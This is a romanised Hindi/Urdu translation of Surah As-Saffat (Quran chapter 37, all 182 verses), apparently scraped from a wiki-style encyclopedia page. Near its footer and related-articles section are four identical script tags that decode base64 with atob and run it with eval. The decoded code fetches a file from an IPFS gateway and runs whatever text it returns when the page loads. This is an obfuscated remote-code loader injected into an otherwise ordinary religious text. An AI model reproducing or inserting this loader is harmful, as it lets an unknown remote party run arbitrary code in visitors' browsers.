अस-साफ़्फ़ात

as-saffat islam dharm ke pavitr granth quran ka 37vaan soora (adhyay) hai jisamean 182 ayatean hoti haian.
37:1- (ibadat ya jihad mean) par baandhane valoan ki (qasam).
37:2- phir (badoan ko buraee se) jhi dak kar daantane vale ki (qasam).
37:3- phir quran padhane valoan ki qasam hai.
37:4- tumhara mabood (yaqini) ek hi hai.
37:5- jo sare asaman zamin ka aur jo kuchh in donoan ke daramiyan hai (sabaka) paravaradigar hai.
37:6- aur (chaand sooraj tare ke) tuloou v (guroob) ke maqamat ka bhi malik hai ham hi ne niche vale asaman ko taroan ki arish (jagamagahat) se arasta kiya.
37:7- aur (taroan ko) har sarakash shaitan se hifazat ke vaste (bhi paida kiya).
37:8- ki ab shaitan alame bala ki taraf kan bhi nahian laga sakate aur (jahaan sun gun lena chaha to) har taraf se khade dane ke lie shahab pheke jate haian.
37:9- aur unake lie paedar azab hai.
37:10- magar jo (shaitan shaz v nadir pharishtoan ki) koee bat uchak le bhagata hai to ag ka dahakata hua tir usaka pichha karata hai.
37:11- to (ai rasool) tum unase poochho to ki unaka paida karana jyada dushvar hai ya un (mazakoora) chizoan ka jinako hamane paida kiya hamane to un logoan ko lasadar mitti se paida kiya.
37:12- balki tum (un kuphfar ke inkar par) tajjub karate ho aur vah log (tumase) masakharapan karate haian.
37:13- aur jab unhean samajhaya jata hai to samajhate nahian haian.
37:14- aur jab kisi maujije qo dekhate haian to (usase) masakharapan karate haian.
37:15- aur kahate haian ki ye to bas khula hua jadoo hai.
37:16- bhala jab ham mar jaeange aur khak aur haddiyaan rah jaeange.
37:17- to kya ham ya hamare agale bap dada phir dobara qabroan se utha kh de kie jaanege.
37:18- (ai rasool) tum kah do ki haan (zaroor uthae jaoge).
37:19- aur tum zalil hoge aur vah (qayamat) to ek lalakar hogi phir to vah log fauran hi (aauankhe pha d-pha d ke) dekhane lageange.
37:20- aur kaheange hae aphasos ye to qayamat ka din hai.
37:21- (javab aega) ye vahi phaisale ka din hai jisako tum log (duniya mean) jhooth samajhate the.
37:22- (aur farishtoan ko hukm hoga ki) jo log (duniya mean) sarakashi karate the unako aur unake sathiyoan ko aur khuda ko chho dakar jinaki parasatish karate haian.
37:23- unako (sabako) ikattha karo phir unhean jahannum ki rah dikhao.
37:24- aur (haan zara) unhean thaharao to unase kuchh poochhana hai.
37:25- (are kamabakhtoan) ab tumhean kya hoga ki ek doosare ki madad nahian karate.
37:26- (javab kya deange) balki vah to aj gardan jhukae hue haian.
37:27- aur ek doosare ki taraph mutavajje hokar baham poochhatachh kareange.
37:28- (aur insan shayatin se) kaheange ki tum hi to hamari dahini taraph se (hamean bahakane ko) chadh ate the.
37:29- vah javab degean (ham kya janean) tum to khud eeman lane vale n the.
37:30- aur (saf to ye hai ki) hamari tum par kuchh hukoomat to thi nahian balki tum khud sarakash log the.
37:31- phir ab to logoan par hamare paravaradigar ka (azab ka) qaul poora ho gaya ki ab ham sab yaqinan azab ka maza chakheange.
37:32- ham khud gumarah the to tum ko bhi gumarah kiya.
37:33- garaz ye log sab ke sab us din azab mean sharik hoange.
37:34- aur ham to gunahagaroan ke sath yooan hi kiya karate haian ye log aise (sharir) the.
37:35- ki jab unase kaha jata tha ki khuda ke siva koee mabood nahian to ak da karate the.
37:36- aur ye log kahate the ki kya ek pagal shayar ke lie ham apane maboodoan ko chho d baithean (are kambakhtoan ye shayar ya pagal nahian).
37:37- balki ye to haq bat lekar aya hai aur (agale) paigambaroan ki tasadiq karata hai.
37:38- tum log (agar n manoge) to zaroor dardanak azab ka maza chakhoge.
37:39- aur tumhean to usake kiye ka badala diya jaega jo (jo duniya mean) karate rahe.
37:40- magar khuda ke baragujida bande.
37:41- unake vaste (behisht mean) ek muqarrar rozi hogi.
37:42- (aur vah bhi aisi vaisi nahian) har qism ke meve.
37:43- aur vah log b di ijzat se neamat ke (lade hue).
37:44- bagoan mean takhtoan par (chain se) amane samane baithe hoge.
37:45- unamean saph saphed burraq sharab ke jam ka daur chal raha hoga.
37:46- jo pine valoan ko b da maza degi.
37:47- (aur phir) n us sharab mean khumar ki vajah se) dard sar hoga aur n vah us (ke pine) se matavale hoange.
37:48- aur unake pahaloo mean (sharm se) nichi nigahean karane vali b di b di aauankhoan vali pariyaan hogi.
37:49- (unaki) gori-gori rangatoan mean halki si surkhi aisi jhalakati hogi.
37:50- goya vah ande haian jo chhipae hue rakhe ho.
37:51- phir ek doosare ki taraph mutavajje pakar baham batachit karate karate unamean se ek kahane vala bol uthega ki (duniya mean) mera ek dost tha.
37:52- aur (mujhase) kaha karata tha ki kya tum bhi qayamat ki tasadiq karane valoan mean ho.
37:53- (bhala jab ham mar jaeange) aur (s d gal kar) mitti aur havhi (hokar) rah jaeange to kya hamako dobara zinda karake hamare (amal ka) badala diya jaega.
37:54- (phir apane behasht ke sathiyoan se kahega).
37:55- to kya tum log bhi (mere sath use jhaank kar dekhoge) garaz jhaanka to use bich jahannum mean (p da hua) dekha.
37:56- (ye dekh kar besakhta) bol uthega ki khuda ki qasam tum to mujhe bhi tabah karane hi ko the.
37:57- aur agar mere paravaradigar ka ehasan n hota to maian bhi (is vakt) teri tarah jahannum mean giraphtar kiya gaya hota.
37:58- (ab batao) kya (maian tum se n kahata tha) ki ham ko is pahali maut ke siva phir marana nahian hai.
37:59- aur n ham par (akherat) mean azab hoga.
37:60- (to tumhean yaqin n hota tha) ye yaqini bahut b di kamayabi hai.
37:61- aisi (hi kamayabi) ke vaste kam karane valoan ko karaguzari karani chahie.
37:62- bhala mehamani ke vaste ye (saman) behatar hai ya thoh d ka darakht (jo jahannumiyoan ke vaste hoga).
37:63- jise hamane yaqinan zalimoan ki azamaish ke lie banaya hai.
37:64- ye vah darakht haian jo jahannum ki tah mean ugata hai.
37:65- usake phal aise (badanuma) haian goya (hoo bahoo) saanp ke phan jise chhoote dil dare.
37:66- phir ye (jahannumi log) yaqinan usamean se khaeange phir usi se apane pet bhareange.
37:67- phir usake oopar se un ko khoob khaulata hua pani (pip vagairah mean) mila milakar pine ko diya jaega.
37:68- phir (kha pikar) unako jahannum ki taraph yaqinan laut jana hoga.
37:69- un logoan ne apan bap dada ko gumarah paya tha.
37:70- ye log bhi unake pichhe dau de chale ja rahe haian.
37:71- aur unake qabl agaloan mean se bahutere gumarah ho chuke.
37:72- un logoan ke darane vale (paigambaroan) ko bheja tha.
37:73- zara dekho to ki jo log darae ja chuke the unaka kya bura anjam hua.
37:74- magar (haan) khuda ke nire khare bande (mahaphooz rahe).
37:75- aur nooh ne (apani kaum se mayoos hokar) hamean zaroor pukara tha (dekho ham) kya khoob javab dene vale the.
37:76- aur hamane unako aur unake l dake valoan ko b di (sakht) musibat se najat di.
37:77- aur hamane (unamean vah barakat di ki) unaki aulad ko (duniya mean) baraqarar rakha.
37:78- aur bad ko ane vale logoan mean unaka achchha charcha baqi rakha.
37:79- ki sari khudayi mean (har taraph se) nooh par salam hai.
37:80- ham neki karane valoan ko yooan jazae khair ata pharamate haian.
37:81- isamean shak nahian ki nooh hamare (khas) eemanadar bandoan se the.
37:82- phir hamane baqi logoan ko dubo diya.
37:83- aur yaqinan unhian ke tariqo par chalane valoan mean ibarahim (bhi) zaroor the.
37:84- jab vah apane paravaradigar (ki ibadat) ki taraph (pahaloo mean) aisa dil lie hue badhe jo (har aib se pak tha.
37:85- jab unhoanne apane (muanh bole) bap aur apani qaum se kaha ki tum log kis chiz ki parasatish karate ho.
37:86- kya khuda ko chho dakar dil se gadhe hue maboodoan ki tamanna rakhate ho.
37:87- phir sari khudaee ke palane vale ke sath tumhara kya khyal hai.
37:88- phir (ek eed mean un logoan ne chalane ko kaha) to ibarahim ne sitaroan ki taraf ek nazar dekha.
37:89- aur kaha ki maian (anaqarib) bimar p dane vala hooan.
37:90- to vah log ibarahim ke pas se pith pher pher kar hat ge.
37:91- (bas) phir to ibarahim chupake se unake butoan ki taraph mutavajje hue aur (tan se) kaha tumhare samane itane chadhav rakhate haian.
37:92- akhir tum khate kyoan nahian (are tumhean kya ho gaya hai).
37:93- ki tum bolate tak nahian.
37:94- phir to ibarahim dahine hath se marate hue un par pil p de (aur to d-pho d kar ek b de but ke gale mean kulha di dal di).
37:95- jab un logoan ko khabar huee to ibarahim ke pas dau date hue pahuanche.
37:96- ibarahim ne kaha (afasos) tum log usaki parasatish karate ho jise tum log khud tarash kar banate ho.
37:97- halaanki tumako aur jisako tum log banate ho (sabako) khuda hi ne paida kiya hai (ye sunakar) vah log (apas mean kahane lage) isake lie (bhatti ki si) ek imarat banao.
37:98- aur (usamean ag sulaga kar usi dahakati huee ag mean isako dal do) phir un logoan ne ibarahim ke sath makkari karani chahi.
37:99- to hamane (ag sard gulazar karake) unhean nicha dikhaya aur jab (azar ne) ibarahim ko nikal diya to bole maian apane paravaradigar ki taraph jata hooan.
37:100- vah anaqarib hi mujhe roobara kar dega (phir garaj ki) paravaradigar mujhe ek neko kar (pharazand) inayat pharama.
37:101- to hamane unako ek b de naram dile l dake (ke paida hone ki) khushakhabari di.
37:102- phir jab ismaeel apane bap ke sath dau d dhoop karane laga to (ek dapha) ibarahim ne kaha beta khoob maian (vahi ke zariye kya) dekhata hooan ki maian to khud tumhean zibah kar raha hooan to tum bhi gaur karo tumhari isamean kya ray hai isamaeel ne kaha abba jan jo apako hukm hua hai usako (be tammul) kijie agar khuda ne chaha to mujhe ap sabr karane valoan mean se paeange.
37:103- phir jab donoan ne ye than li aur bap ne bete ko (zibah karane ke lie) mathe ke bal litaya.
37:104- aur hamane (amada dekhakar) avaz di ai ibarahim.
37:105- tumane apane khvab ko sach kar dikhaya ab tum donoan ko b de maratabe milegean ham neki karane valoan ko yooan jazae khair dete haian.
37:106- isamean shak nahian ki ye yaqini b da sakht aur sarihi imtihan tha.
37:107- aur hamane ismaeel ka fidaya ek zibahe azim (b di kurbani) qarar diya.
37:108- aur hamane unaka achchha charcha bad ko ane valoan mean baqi rakha hai.
37:109- ki (sari khudayi mean) ibarahim par salam (hi salam) haian.
37:110- ham yooan neki karane valoan ko jazae khair dete haian.
37:111- beshak ibarahim hamare (khas) eemanadar bandoan mean the.
37:112- aur hamane ibarahim ko isahaq (ke paida hone ki) khushakhabari di thi.
37:113- jo ek nekosar nabi the aur hamane khud ibarahim par aur isahaq par apani barakat nazil ki aur in donoan ki nasl mean baz to nekokar aur baz (napharamani karake) apani jan par sarihi sitam dhane vala.
37:114- aur hamane moosa aur haroon par bahut se ehasanat kie haian.
37:115- aur khud donoan ko aur inaki qaum ko b di (sakht) musibat se najat di.
37:116- aur (phiraun ke muqabale mean) hamane unaki madad ki to (akhir) yahi log galib rahe.
37:117- aur hamane un donoan ko ek vazee ulam talib kitab (tauret) ata ki.
37:118- aur donoan ko sidhi rah ki hidayat faramaee.
37:119- aur bad ko ane valoan mean unaka zikre khair baqi rakha.
37:120- ki (har jagah) moosa aur haroon par salam (hi salam) hai.
37:121- ham neki karane valoan ko yooan jazae khair ata pharamate haian.
37:122- beshak ye donoan hamare (khalis eemanadar bandoan mean se the).
37:123- aur isamean shak nahian ki iliyas yaqinan paigambaroan mean se the.
37:124- jab unhoanne apani qaum se kaha ki tum log (khuda se) kyoan nahian darate.
37:125- kya tum log bal (but) ki parasatish karate ho aur khuda ko chho de baithe ho jo sabase behatar paida karane vala hai.
37:126- aur (jo) tumhara paravaradigar aur tumhare agale bap dadaoan ka (bhi) paravaradigar hai.
37:127- to use logoan ne jhuthala diya to ye log yaqinan (jahannum) mean giraphtar kie jaeange.
37:128- magar khuda ke nire khare bande mahaphooz raheange.
37:129- aur hamane unaka zikr khair bad ko ane valoan mean baqi rakha.
37:130- ki (har taraph se) ale yasin par salam (hi salam) hai.
37:131- ham yaqinan neki karane valoan ko aisa hi badala diya karate haian.
37:132- beshak vah hamare (khalis) eemanadar bandoan mean the.
37:133- aur isamean bhi shak nahian ki loot yaqini paigambaroan mean se the.
37:134- jab hamane unako aur unake l dake valoan sab ko najat di.
37:135- magar ek (unaki) boodhi bibi jo pichhe rah jane valoan hi mean thian.
37:136- phir hamane baqi logoan ko tabah v barbad kar diya.
37:137- aur ai ahale makka tum log bhi un par se (kabhi) subah ko aur (kabhi) sham ko (ate jate guzarate ho).
37:138- to kya tum (itana bhi) nahian samajhate.
37:139- aur isamean shak nahian ki yoonus (bhi) paigambaroan mean se the.
37:140- (vah vakt yad karo) jab yoonus bhag kar ek bhari huee kashti ke pas pahuanche.
37:141- to (ahale kashti ne) kura dala to (unaka hi nam nikala) yoonus ne zak uthayi (aur dariya mean gir p de).
37:142- to unako ek machhali nigal gayi aur yoonus khud (apani) malamat kar rahe the.
37:143- phir agar yoonus (khuda ki) tasabih (v zikr) n karate.
37:144- to roze qayamat tak machhali ke pet mean rahate.
37:145- phir hamane unako (machhali ke pet se nikal kar) ek khule maidan mean dal diya.
37:146- aur (vah tho di der mean) bimar nidhal ho ge the aur hamane un par saye ke lie ek kaddoo ka darakht uga diya.
37:147- aur (isake bad) hamane ek lakh balki (ek hisab se) jyada adamiyoan ki taraph (paigambar bana kar bheja).
37:148- to vah log (un par) eeman lae phir hamane (bhi) ek khas vakt tak unako chain se rakha.
37:149- to (ai rasool) un kuphfar se poochho ki kya tumhare paravaradigar ke lie betiyaan haian aur unake lie bete.
37:150- (kya vaqee) hamane pharishtoan ki auratean banaya hai aur ye log (us vakt) maujood the.
37:151- khabaradar (yad rakho ki) ye log yaqinan apane dil se gadh-gadh ke kahate haian ki khuda aulad vala hai.
37:152- aur ye log yaqini jhoothe haian.
37:153- kya khuda ne (apane lie) betiyoan ko betoan par tarajih di hai.
37:154- (are kambakhtoan) tumhean kya junoon ho gaya hai tum log (baithe-baithe) kaisa phaisala karate ho.
37:155- to kya tum (itana bhi) gaur nahian karate.
37:156- ya tumhare pas (isaki) koee vazee v raushan dalil hai.
37:157- to agar tum (apane dave mean) sachche ho to apani kitab pesh karo.
37:158- aur un logoan ne khuda aur jinnat ke daramiyan rishta nata muqarrar kiya hai halaanki jinnat bakhoobi janate haian ki vah log yaqini (qayamat mean bandoan ki tarah) hazir kie jaeange.
37:159- ye log jo batean banaya karate haian inase khuda pak saf hai.
37:160- magar khuda ke nire khare bande (aisa nahian kahate).
37:161- garaz tum log khud aur tumhare mabood.
37:162- usake khilaph (kisi ko) bahaka nahian sakate.
37:163- magar usako jo jahannum mean jhoanka jane vala hai.
37:164- aur pharishte ya aimma to ye kahate haian ki maian har ek ka ek daraja muqarrar hai.
37:165- aur ham to yaqinan (usaki ibadat ke lie) saph baandhe kh de rahate haian.
37:166- aur ham to yaqini (usaki) tasbih padha karate haian.
37:167- agarache ye kuphphar (islam ke qabl) kaha karate the.
37:168- ki agar hamare pas bhi agale logoan ka tazakira (kisi kitabe khuda mean) hota.
37:169- to ham bhi khuda ke nire khare bande zaroor ho jate.
37:170- (magar jab kitab ayi) to un logoan ne usase inkar kiya khair anaqarib (usaka natija) unhean maloom ho jaega.
37:171- aur apane khas bandoan paigambaroan se hamari bat pakki ho chuki hai.
37:172- ki in logoan ki (hamari baragah se) yaqini madad ki jaegi.
37:173- aur hamara lashkar to yaqinan galib rahega.
37:174- to (ai rasool) tum unase ek khas vakt tak muanh phere raho.
37:175- aur inako dekhate raho to ye log anaqarib hi (apana natija) dekh lege.
37:176- to kya ye log hamare azab ki jaldi kar rahe haian.
37:177- phir jab (azab) unaki aanganaee mean utar padega to jo log darae ja chuke haian unaki bhi kya buri subah hogi.
37:178- aur un logoan se ek khas vakt tak muanh phere raho.
37:179- aur dekhate raho ye log to khud anaqarib hi apana anjam dekh leange.
37:180- ye log jo batean (khuda ke bare mean) banaya karate haian unase tumhara paravaradigar ijzat ka malik pak saph hai.
37:181- aur paigambaroan par (durood) salam ho.
37:182- aur kul tariph khuda hi ke lie sazavar haian jo sare jahaann ka palane vala hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• as-saffat
• Surah As-Saffat / সূরা আস-সাফফাত

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>